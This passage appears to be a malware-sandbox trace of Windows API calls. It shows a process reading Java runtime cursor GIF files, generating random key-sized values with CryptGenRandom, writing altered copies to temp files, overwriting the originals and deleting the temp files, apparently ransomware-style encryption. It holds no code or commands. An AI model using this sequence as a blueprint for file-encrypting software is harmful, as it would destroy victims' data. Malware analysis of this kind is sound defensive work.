	[0263.315] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.315] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.315] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.316] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.316] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.347] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.351] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.351] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.352] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.352] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.352] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.353] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.353] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.353] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.354] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.354] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.355] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.355] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.355] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.355] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.356] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.357] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.359] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.360] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.360] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.360] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.361] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.361] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.362] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.362] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.363] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.363] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.364] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.364] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.365] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.365] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.365] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.366] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.368] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.368] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.368] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.369] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.369] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.369] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.370] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.370] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.371] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.371] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.371] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.371] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.373] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.373] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.374] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.374] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.892] CloseHandle (hObject=0x1ac) returned 1
	[0263.893] CloseHandle (hObject=0x19c) returned 1
	[0264.240] SetEvent (hEvent=0x124) returned 1
	[0264.240] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\549229d8af8fe9007c6ff46ac3f34004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\549229d8af8fe9007c6ff46ac3f34004")) returned 1
	[0264.246] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0268.530] SetEvent (hEvent=0xfc) returned 1
	[0268.530] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0268.530] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0268.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0268.531] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bbbf4 | out: lpMode=0xc0000bbbf4) returned 0
	[0268.531] GetFileType (hFile=0x19c) returned 0x1
	[0268.531] GetFileType (hFile=0x19c) returned 0x1
	[0268.531] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0000bbc44 | out: lpFileInformation=0xc0000bbc44) returned 1
	[0268.531] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0000bbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bbc28) returned 1
	[0268.531] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001e6840, nNumberOfBytesToRead=0x293, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6840*, lpNumberOfBytesRead=0xc0000bbb04*=0x93, lpOverlapped=0x0) returned 1
	[0268.532] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001e68d3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e68d3*, lpNumberOfBytesRead=0xc0000bbb04*=0x0, lpOverlapped=0x0) returned 1
	[0268.532] CloseHandle (hObject=0x19c) returned 1
	[0268.533] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092780 | out: pbBuffer=0xc000092780) returned 1
	[0268.533] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000943f0 | out: pbBuffer=0xc0000943f0) returned 1
	[0268.533] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082a01 | out: pbBuffer=0xc000082a01) returned 1
	[0268.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78516b89cd7cf501c37fb288bf0e8175" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78516b89cd7cf501c37fb288bf0e8175"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0268.533] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bbc04 | out: lpMode=0xc0000bbc04) returned 0
	[0268.533] GetFileType (hFile=0x19c) returned 0x1
	[0268.534] WriteFile (in: hFile=0x19c, lpBuffer=0xc000180600*, nNumberOfBytesToWrite=0x193, lpNumberOfBytesWritten=0xc0000bbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000180600*, lpNumberOfBytesWritten=0xc0000bbbec*=0x193, lpOverlapped=0x0) returned 1
	[0268.535] CloseHandle (hObject=0x19c) returned 1
	[0268.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0268.538] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0268.538] GetFileType (hFile=0x19c) returned 0x1
	[0268.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78516b89cd7cf501c37fb288bf0e8175" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78516b89cd7cf501c37fb288bf0e8175"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0268.538] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0268.538] GetFileType (hFile=0x1ac) returned 0x1
	[0268.538] VirtualAlloc (lpAddress=0xc00031c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00031c000
	[0268.539] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00031c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00031c000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x193, lpOverlapped=0x0) returned 1
	[0268.539] WriteFile (in: hFile=0x19c, lpBuffer=0xc00031c000*, nNumberOfBytesToWrite=0x193, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00031c000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x193, lpOverlapped=0x0) returned 1
	[0268.540] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00031c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00031c000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0268.540] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78516b89cd7cf501c37fb288bf0e8175" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78516b89cd7cf501c37fb288bf0e8175")) returned 0
	[0268.541] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78516b89cd7cf501c37fb288bf0e8175" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78516b89cd7cf501c37fb288bf0e8175")) returned 0
	[0268.541] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78516b89cd7cf501c37fb288bf0e8175" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78516b89cd7cf501c37fb288bf0e8175")) returned 0x20
	[0268.541] CloseHandle (hObject=0x1ac) returned 1
	[0268.541] CloseHandle (hObject=0x19c) returned 1
	[0268.541] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78516b89cd7cf501c37fb288bf0e8175" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78516b89cd7cf501c37fb288bf0e8175")) returned 1
	[0268.543] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0268.543] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0268.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0268.543] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0268.543] GetFileType (hFile=0x19c) returned 0x1
	[0268.543] GetFileType (hFile=0x19c) returned 0x1
	[0268.543] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0268.543] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0268.543] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001e6b00, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6b00*, lpNumberOfBytesRead=0xc0000bfb04*=0x99, lpOverlapped=0x0) returned 1
	[0268.544] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001e6b99, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6b99*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0268.544] CloseHandle (hObject=0x19c) returned 1
	[0268.545] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000928c0 | out: pbBuffer=0xc0000928c0) returned 1
	[0268.545] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000944d0 | out: pbBuffer=0xc0000944d0) returned 1
	[0268.545] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082c01 | out: pbBuffer=0xc000082c01) returned 1
	[0268.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e187b666fe5055afce748d9219d06a2a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e187b666fe5055afce748d9219d06a2a"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0268.545] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0268.545] GetFileType (hFile=0x19c) returned 0x1
	[0268.545] WriteFile (in: hFile=0x19c, lpBuffer=0xc000180800*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000180800*, lpNumberOfBytesWritten=0xc0000bfbec*=0x199, lpOverlapped=0x0) returned 1
	[0268.547] CloseHandle (hObject=0x19c) returned 1
	[0268.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0268.549] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0268.549] GetFileType (hFile=0x19c) returned 0x1
	[0268.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e187b666fe5055afce748d9219d06a2a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e187b666fe5055afce748d9219d06a2a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0268.549] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0268.549] GetFileType (hFile=0x1ac) returned 0x1
	[0268.549] VirtualAlloc (lpAddress=0xc000324000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000324000
